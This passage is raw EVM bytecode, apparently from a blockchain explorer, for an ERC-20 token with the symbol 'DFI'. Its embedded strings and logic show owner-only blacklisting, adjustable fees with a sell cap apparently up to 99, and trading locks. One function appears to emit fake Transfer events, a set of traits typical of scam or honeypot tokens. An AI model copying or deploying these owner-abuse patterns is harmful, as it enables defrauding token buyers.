b9150506109fb565b506001905095945050505050565b5f610c49848484611c00565b610d0684610c55611a36565b610d01856040518060600160405280602881526020016142386028913960045f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f610cb8611a36565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546124609092919063ffffffff16565b611a3d565b600190509392505050565b60185481565b5f6002905090565b60155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610d4c611a36565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610dd8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dcf9061374c565b60405180910390fd5b5f60105f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555050565b610e37611a36565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ec3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eba9061374c565b60405180910390fd5b80601560166101000a81548160ff02191690831515021790555050565b60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610f20611a36565b73ffffffffffffffffffffffffffffffffffffffff161480610f95575060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610f7d611a36565b73ffffffffffffffffffffffffffffffffffffffff16145b610f9d575f80fd5b5f479050610faa816124c2565b50565b5f610ff460025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461252a565b9050919050565b611003611a36565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461108f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110869061374c565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b611151611a36565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111d49061374c565b60405180910390fd5b8060168190555050565b6111ef611a36565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461127b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112729061374c565b60405180910390fd5b670de0b6b3a7640000601681905550670de0b6b3a7640000601781905550565b60165481565b6011602052805f5260405f205f915090505481565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60175481565b60606040518060400160405280600381526020017f4446490000000000000000000000000000000000000000000000000000000000815250905090565b611328611a36565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146113b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113ab9061374c565b60405180910390fd5b8060188190555050565b5f6113d16113ca611a36565b8484611c00565b6001905092915050565b6010602052805f5260405f205f915054906101000a900460ff1681565b60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611438611a36565b73ffffffffffffffffffffffffffffffffffffffff1614806114ad575060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611495611a36565b73ffffffffffffffffffffffffffffffffffffffff16145b6114b5575f80fd5b5f6114bf30610fad565b90506114ca81612596565b50565b6114d5611a36565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611561576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115589061374c565b60405180910390fd5b5f5b838390508110156115fc578160055f8686858181106115855761158461376a565b5b905060200201602081019061159a91906134ff565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555080806115f4906137c4565b915050611563565b50505050565b61160a611a36565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611696576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161168d9061374c565b60405180910390fd5b601982856116a491906138fb565b11156116ae575f80fd5b606381846116bc91906138fb565b11156116c6575f80fd5b8360088190555082600a819055508160098190555080600b8190555050505050565b5f60045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516117c891906132af565b60405180910390a3600190509392505050565b6117e3611a36565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461186f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118669061374c565b60405180910390fd5b8060178190555050565b611881611a36565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461190d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119049061374c565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361197b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119729061399e565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611aab576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aa290613a2c565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611b19576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b1090613aba565b60405180910390fd5b8060045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611bf391906132af565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611c6e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c6590613b48565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611cdc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cd390613bd6565b60405180910390fd5b5f8111611d1e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d1590613c64565b60405180910390fd5b611d266112b6565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611d945750611d646112b6565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561216d57601560149054906101000a900460ff16611e2357611db56112b6565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611e22576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e1990613cf2565b60405180910390fd5b5b601654811115611e68576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e5f90613d5a565b60405180910390fd5b60105f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16158015611f06575060105f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b611f45576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f3c90613de8565b60405180910390fd5b60155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611ff15760175481611fa684610fad565b611fb091906138fb565b10611ff0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fe790613e76565b60405180910390fd5b5b5f611ffb30610fad565b90505f601854821015905060165482106120155760165491505b80801561202d575060158054906101000a900460ff16155b8015612086575060155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b801561209e5750601560169054906101000a900460ff165b80156120f1575060055f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b8015612144575060055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b1561216a5761215282612596565b5f4790505f81111561216857612167476124c2565b5b505b50505b5f6001905060055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff168061220d575060055f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b806122be575060155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156122bd575060155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b156122cb575f905061244e565b60155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015612374575060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561238c57600854600c81905550600954600d819055505b60155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015612435575060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561244d57600a54600c81905550600b54600d819055505b5b61245a848484846127ff565b50505050565b5f8383111582906124a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161249e9190613168565b60405180910390fd5b505f83856124b59190613e94565b9050809150509392505050565b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015612526573d5f803e3d5ffd5b5050565b5f600654821115612570576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161256790613f37565b60405180910390fd5b5f61257961282c565b905061258e818461285590919063ffffffff16565b915050919050565b60016015806101000a81548160ff0219169083151502179055505f600267ffffffffffffffff8111156125cc576125cb612f11565b5b6040519080825280602002602001820160405280156125fa5781602001602082028036833780820191505090505b50905030815f815181106126115761261061376a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156126b5573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906126d99190613f69565b816001815181106126ed576126ec61376a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506127533060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611a3d565b60145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b81526004016127b595949392919061404b565b5f604051808303815f87803b1580156127cc575f80fd5b505af11580156127de573d5f803e3d5ffd5b50505050505f6015806101000a81548160ff02191690831515021790555050565b8061280d5761280c61289e565b5b6128188484846128d7565b8061282657612825612a97565b5b50505050565b5f805f612837612aab565b9150915061284e818361285590919063ffffffff16565b9250505090565b5f61289683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612b07565b905092915050565b5f600c541480156128b057505f600d54145b6128d557600c54600e81905550600d54600f819055505f600c819055505f600d819055505b565b5f805f805f806128e687612b68565b9550955095509550955095506129428660025f8c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612bc890919063ffffffff16565b60025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506129d38560025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612c1190919063ffffffff16565b60025f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550612a1d81612c6e565b612a278483612d25565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612a8491906132af565b60405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b5f805f60065490505f670de0b6b3a76400009050612adc670de0b6b3a764000060065461285590919063ffffffff16565b821015612afa57600654670de0b6b3a7640000935093505050612b03565b81819350935050505b9091565b5f8083118290612b4d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b449190613168565b60405180910390fd5b505f8385612b5b91906140d0565b9050809150509392505050565b5f805f805f805f805f612b808a600c54600d54612d5f565b9250925092505f612b8f61282c565b90505f805f612ba08e878787612df1565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b5f612c0983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612460565b905092915050565b5f808284612c1f91906138fb565b905083811015612c64576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c5b9061414a565b60405180910390fd5b8091505092915050565b5f612c7761282c565b90505f612c8d8284612e7590919063ffffffff16565b9050612cdf8160025f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612c1190919063ffffffff16565b60025f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505050565b612d3a82600654612bc890919063ffffffff16565b600681905550612d5581600754612c1190919063ffffffff16565b6007819055505050565b5f805f80612d896064612d7b888a612e7590919063ffffffff16565b61285590919063ffffffff16565b90505f612db26064612da4888b612e7590919063ffffffff16565b61285590919063ffffffff16565b90505f612dda82612dcc858c612bc890919063ffffffff16565b612bc890919063ffffffff16565b905080838395509550955050505093509350939050565b5f805f80612e088589612e7590919063ffffffff16565b90505f612e1e8689612e7590919063ffffffff16565b90505f612e348789612e7590919063ffffffff16565b90505f612e5c82612e4e8587612bc890919063ffffffff16565b612bc890919063ffffffff16565b9050838184965096509650505050509450945094915050565b5f808303612e85575f9050612ee6565b5f8284612e929190614168565b9050828482612ea191906140d0565b14612ee1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ed890614219565b60405180910390fd5b809150505b92915050565b5f604051905090565b5f80fd5b5f80fd5b5f80fd5b5f601f19601f8301169050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b612f4782612f01565b810181811067ffffffffffffffff82111715612f6657612f65612f11565b5b80604052505050565b5f612f78612eec565b9050612f848282612f3e565b919050565b5f67ffffffffffffffff821115612fa357612fa2612f11565b5b602082029050602081019050919050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f612fe182612fb8565b9050919050565b612ff181612fd7565b8114612ffb575f80fd5b50565b5f8135905061300c81612fe8565b92915050565b5f61302461301f84612f89565b612f6f565b9050808382526020820190506020840283018581111561304757613046612fb4565b5b835b81811015613070578061305c8882612ffe565b845260208401935050602081019050613049565b5050509392505050565b5f82601f83011261308e5761308d612efd565b5b813561309e848260208601613012565b91505092915050565b5f602082840312156130bc576130bb612ef5565b5b5f82013567ffffffffffffffff8111156130d9576130d8612ef9565b5b6130e58482850161307a565b91505092915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b8381101561312557808201518184015260208101905061310a565b5f8484015250505050565b5f61313a826130ee565b61314481856130f8565b9350613154818560208601613108565b61315d81612f01565b840191505092915050565b5f6020820190508181035f8301526131808184613130565b905092915050565b5f819050919050565b61319a81613188565b81146131a4575f80fd5b50565b5f813590506131b581613191565b92915050565b5f80604083850312156131d1576131d0612ef5565b5b5f6131de85828601612ffe565b92505060206131ef858286016131a7565b9150509250929050565b5f8115159050919050565b61320d816131f9565b82525050565b5f6020820190506132265f830184613204565b92915050565b5f819050919050565b5f61324f61324a61324584612fb8565b61322c565b612fb8565b9050919050565b5f61326082613235565b9050919050565b5f61327182613256565b9050919050565b61328181613267565b82525050565b5f60208201905061329a5f830184613278565b92915050565b6132a981613188565b82525050565b5f6020820190506132c25f8301846132a0565b92915050565b5f67ffffffffffffffff8211156132e2576132e1612f11565b5b602082029050602081019050919050565b5f613305613300846132c8565b612f6f565b9050808382526020820190506020840283018581111561332857613327612fb4565b5b835b81811015613351578061333d88826131a7565b84526020840193505060208101905061332a565b5050509392505050565b5f82601f83011261336f5761336e612efd565b5b813561337f8482602086016132f3565b91505092915050565b5f805f805f60a086880312156133a1576133a0612ef5565b5b5f6133ae88828901612ffe565b955050602086013567ffffffffffffffff8111156133cf576133ce612ef9565b5b6133db8882890161307a565b945050604086013567ffffffffffffffff8111156133fc576133fb612ef9565b5b6134088882890161335b565b935050606086013567ffffffffffffffff81111561342957613428612ef9565b5b6134358882890161335b565b925050608061344688828901612ffe565b9150509295509295909350565b5f805f6060848603121561346a57613469612ef5565b5b5f61347786828701612ffe565b935050602061348886828701612ffe565b9250506040613499868287016131a7565b9150509250925092565b5f60ff82169050919050565b6134b8816134a3565b82525050565b5f6020820190506134d15f8301846134af565b92915050565b6134e081612fd7565b82525050565b5f6020820190506134f95f8301846134d7565b92915050565b5f6020828403121561351457613513612ef5565b5b5f61352184828501612ffe565b91505092915050565b613533816131f9565b811461353d575f80fd5b50565b5f8135905061354e8161352a565b92915050565b5f6020828403121561356957613568612ef5565b5b5f61357684828501613540565b91505092915050565b5f6020828403121561359457613593612ef5565b5b5f6135a1848285016131a7565b91505092915050565b5f80fd5b5f8083601f8401126135c3576135c2612efd565b5b8235905067ffffffffffffffff8111156135e0576135df6135aa565b5b6020830191508360208202830111156135fc576135fb612fb4565b5b9250929050565b5f805f6040848603121561361a57613619612ef5565b5b5f84013567ffffffffffffffff81111561363757613636612ef9565b5b613643868287016135ae565b9350935050602061365686828701613540565b9150509250925092565b5f805f806080858703121561367857613677612ef5565b5b5f613685878288016131a7565b9450506020613696878288016131a7565b93505060406136a7878288016131a7565b92505060606136b8878288016131a7565b91505092959194509250565b5f80604083850312156136da576136d9612ef5565b5b5f6136e785828601612ffe565b92505060206136f885828601612ffe565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6137366020836130f8565b915061374182613702565b602082019050919050565b5f6020820190508181035f8301526137638161372a565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6137ce82613188565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203613800576137ff613797565b5b600182019050919050565b5f819050919050565b5f61382e6138296138248461380b565b61322c565b613188565b9050919050565b61383e81613814565b82525050565b5f6080820190506138575f8301876132a0565b6138646020830186613835565b6138716040830185613835565b61387e60608301846132a0565b95945050505050565b5f60608201905061389a5f8301866134d7565b6138a760208301856134d7565b6138b460408301846132a0565b949350505050565b5f815190506138ca8161352a565b92915050565b5f602082840312156138e5576138e4612ef5565b5b5f6138f2848285016138bc565b91505092915050565b5f61390582613188565b915061391083613188565b925082820190508082111561392857613927613797565b5b92915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f6139886026836130f8565b91506139938261392e565b604082019050919050565b5f6020820190508181035f8301526139b58161397c565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f613a166024836130f8565b9150613a21826139bc565b604082019050919050565b5f6020820190508181035f830152613a4381613a0a565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f613aa46022836130f8565b9150613aaf82613a4a565b604082019050919050565b5f6020820190508181035f830152613ad181613a98565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f613b326025836130f8565b9150613b3d82613ad8565b604082019050919050565b5f6020820190508181035f830152613b5f81613b26565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f613bc06023836130f8565b9150613bcb82613b66565b604082019050919050565b5f6020820190508181035f830152613bed81613bb4565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f613c4e6029836130f8565b9150613c5982613bf4565b604082019050919050565b5f6020820190508181035f830152613c7b81613c42565b9050919050565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e64205f8201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b5f613cdc603f836130f8565b9150613ce782613c82565b604082019050919050565b5f6020820190508181035f830152613d0981613cd0565b9050919050565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000005f82015250565b5f613d44601c836130f8565b9150613d4f82613d10565b602082019050919050565b5f6020820190508181035f830152613d7181613d38565b9050919050565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c6973745f8201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b5f613dd26023836130f8565b9150613ddd82613d78565b604082019050919050565b5f6020820190508181035f830152613dff81613dc6565b9050919050565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073695f8201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b5f613e606023836130f8565b9150613e6b82613e06565b604082019050919050565b5f6020820190508181035f830152613e8d81613e54565b9050919050565b5f613e9e82613188565b9150613ea983613188565b9250828203905081811115613ec157613ec0613797565b5b92915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c20725f8201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b5f613f21602a836130f8565b9150613f2c82613ec7565b604082019050919050565b5f6020820190508181035f830152613f4e81613f15565b9050919050565b5f81519050613f6381612fe8565b92915050565b5f60208284031215613f7e57613f7d612ef5565b5b5f613f8b84828501613f55565b91505092915050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b613fc681612fd7565b82525050565b5f613fd78383613fbd565b60208301905092915050565b5f602082019050919050565b5f613ff982613f94565b6140038185613f9e565b935061400e83613fae565b805f5b8381101561403e5781516140258882613fcc565b975061403083613fe3565b925050600181019050614011565b5085935050505092915050565b5f60a08201905061405e5f8301886132a0565b61406b6020830187613835565b818103604083015261407d8186613fef565b905061408c60608301856134d7565b61409960808301846132a0565b9695505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6140da82613188565b91506140e583613188565b9250826140f5576140f46140a3565b5b828204905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f614134601b836130f8565b915061413f82614100565b602082019050919050565b5f6020820190508181035f83015261416181614128565b9050919050565b5f61417282613188565b915061417d83613188565b925082820261418b81613188565b915082820484148315176141a2576141a1613797565b5b5092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f6142036021836130f8565b915061420e826141a9565b604082019050919050565b5f6020820190508181035f830152614230816141f7565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212201733d2a0845f1bbd5a5bd168fadb8227af9c65bc4a6a4a3eba9eaa6228c094f864736f6c63430008140033
Deployed Bytecode
0x6080604052600436106101f0575f3560e01c806374010ece1161010c578063a9059cbb1161009f578063c6616ba11161006e578063c6616ba1146106a1578063dd62ed3e146106c9578063e156b1b614610705578063ea1644d514610741578063f2fde38b14610769576101f7565b8063a9059cbb146105eb578063bfd7928414610627578063c3c8cd8014610663578063c492f04614610679576101f7565b80638da5cb5b116100db5780638da5cb5b146105455780638f9a55c01461056f57806395d89b411461059957806398a5c315146105c3576101f7565b806374010ece146104a1578063751039fc146104c95780637d1db4a5146104df5780637f2feddc14610509576101f7565b80632fd689e3116101845780636d8aa8f8116101535780636d8aa8f8146104115780636fc3eaec1461043957806370a082311461044f578063715018a61461048b576101f7565b80632fd689e31461036b578063313ce5671461039557806349bd5a5e146103bf5780636b999053146103e9576101f7565b80631694505e116101c05780631694505e1461029f57806318160ddd146102c95780631ae1ffbc146102f357806323b872dd1461032f576101f7565b8062b8cf2a146101fb57806306fdde0314610223578063095ea7b31461024d5780630bd05b6914610289576101f7565b366101f757005b5f80fd5b348015610206575f80fd5b50610221600480360381019061021c91906130a7565b610791565b005b34801561022e575f80fd5b506102376108b6565b6040516102449190613168565b60405180910390f35b348015610258575f80fd5b50610273600480360381019061026e91906131bb565b6108f3565b6040516102809190613213565b60405180910390f35b348015610294575f80fd5b5061029d610910565b005b3480156102aa575f80fd5b506102b36109c1565b6040516102c09190613287565b60405180910390f35b3480156102d4575f80fd5b506102dd6109e6565b6040516102ea91906132af565b60405180910390f35b3480156102fe575f80fd5b5061031960048036038101906103149190613388565b6109f5565b6040516103269190613213565b60405180910390f35b34801561033a575f80fd5b5061035560048036038101906103509190613453565b610c3d565b6040516103629190613213565b60405180910390f35b348015610376575f80fd5b5061037f610d11565b60405161038c91906132af565b60405180910390f35b3480156103a0575f80fd5b506103a9610d17565b6040516103b691906134be565b60405180910390f35b3480156103ca575f80fd5b506103d3610d1f565b6040516103e091906134e6565b60405180910390f35b3480156103f4575f80fd5b5061040f600480360381019061040a91906134ff565b610d44565b005b34801561041c575f80fd5b5061043760048036038101906104329190613554565b610e2f565b005b348015610444575f80fd5b5061044d610ee0565b005b34801561045a575f80fd5b50610475600480360381019061047091906134ff565b610fad565b60405161048291906132af565b60405180910390f35b348015610496575f80fd5b5061049f610ffb565b005b3480156104ac575f80fd5b506104c760048036038101906104c2919061357f565b611149565b005b3480156104d4575f80fd5b506104dd6111e7565b005b3480156104ea575f80fd5b506104f361129b565b60405161050091906132af565b60405180910390f35b348015610514575f80fd5b5061052f600480360381019061052a91906134ff565b6112a1565b60405161053c91906132af565b60405180910390f35b348015610550575f80fd5b506105596112b6565b60405161056691906134e6565b60405180910390f35b34801561057a575f80fd5b506105836112dd565b60405161059091906132af565b60405180910390f35b3480156105a4575f80fd5b506105ad6112e3565b6040516105ba9190613168565b60405180910390f35b3480156105ce575f80fd5b506105e960048036038101906105e4919061357f565b611320565b005b3480156105f6575f80fd5b50610611600480360381019061060c91906131bb565b6113be565b60405161061e9190613213565b60405180910390f35b348015610632575f80fd5b5061064d600480360381019061064891906134ff565b6113db565b60405161065a9190613213565b60405180910390f35b34801561066e575f80fd5b506106776113f8565b005b348015610684575f80fd5b5061069f600480360381019061069a9190613603565b6114cd565b005b3480156106ac575f80fd5b506106c760048036038101906106c29190613660565b611602565b005b3480156106d4575f80fd5b506106ef60048036038101906106ea91906136c4565b6116e8565b6040516106fc91906132af565b60405180910390f35b348015610710575f80fd5b5061072b60048036038101906107269190613453565b61176a565b6040516107389190613213565b60405180910390f35b34801561074c575f80fd5b506107676004803603810190610762919061357f565b6117db565b005b348015610774575f80fd5b5061078f600480360381019061078a91906134ff565b611879565b005b610799611a36565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610825576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081c9061374c565b60405180910390fd5b5f5b81518110156108b257600160105f8484815181106108485761084761376a565b5b60200260200101517